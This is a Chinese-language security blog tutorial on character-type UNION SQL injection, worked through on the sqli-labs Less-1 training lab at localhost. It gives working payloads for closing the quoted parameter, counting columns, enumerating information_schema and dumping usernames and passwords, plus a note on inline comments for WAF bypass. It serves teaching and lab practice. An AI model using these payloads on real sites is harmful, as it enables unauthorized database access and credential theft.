点我
SQL注入【联合注入-字符型】
SQL注入【联合注入-字符型】
概述
注入的本质
用户输入的数据被当做代码执行
注入条件
- 用户可以控制传参
- 用户输入的语句被带入数据库并执行
显错注入原理
- 用户输入的数据被当做SQL语句执行,并带入数据库执行
- 对用户输入的数据没有做任何过滤,并且将结果返回到页面
- 没有做任何防护
注入的关键操作
- 构造闭合
注入基础
MySQL注释符:# 或 --空格 或 /**/
内联注释:/*! SQL语句 */ 只有MySQL可以识别,常用来绕过WAF
注入探测符:常使用 \ 进行探测
靶场Less-1
1、靶场
2、根据前面的数学型注入,可先使用and 1=2 探测
页面无反应
3、使用探测符号\
4、根据报错信息
''1\' LIMIT 0,1' ==> '1\' LIMIT 0,1 (反斜杠通常为转义符)==>可猜测变量id由单引号字符围绕
构造payload: id=1' -- q (--空格 为MySQL的注释符)
5、查看后端源代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
添加构造的payload后:
$sql="SELECT * FROM users WHERE id='1'-- q' LIMIT 0,1";
6、将payload写入到靶场中,页面正常
7、使用oder by 探测字段数
8、探测字段数为3,使用联合查询,观察回显点
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,2,3 -- q
9、探测版本号和当前数据库名
10、利用MySQL自带数据库information_schema得出数据
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,version(),group_concat(table_name)
from information_schema.tables where table_schema=database() -- q
11、查看users数据表中的字段名
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,version(),group_concat(column_name)
from information_schema.columns where table_schema=database() and table_name='users' -- q
12、查询username、password字段信息,使用limit 依次查看
http://127.0.0.1/sqli/Less-1/?id=0' union select 1,username,password from users limit 3,1 -- q
总结
字符型注入与数字型注入的区别为 有无包裹变量的符号不同
以下几种包裹方式注入,与‘$id’ 注入同理
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=“$id” LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1";
注入的关键在于 构造闭合
分类:
WEB安全
版权申明
本文系作者 @小白学安全 原创发布在 xbxaq.com 站点,未经许可,禁止转载!
评论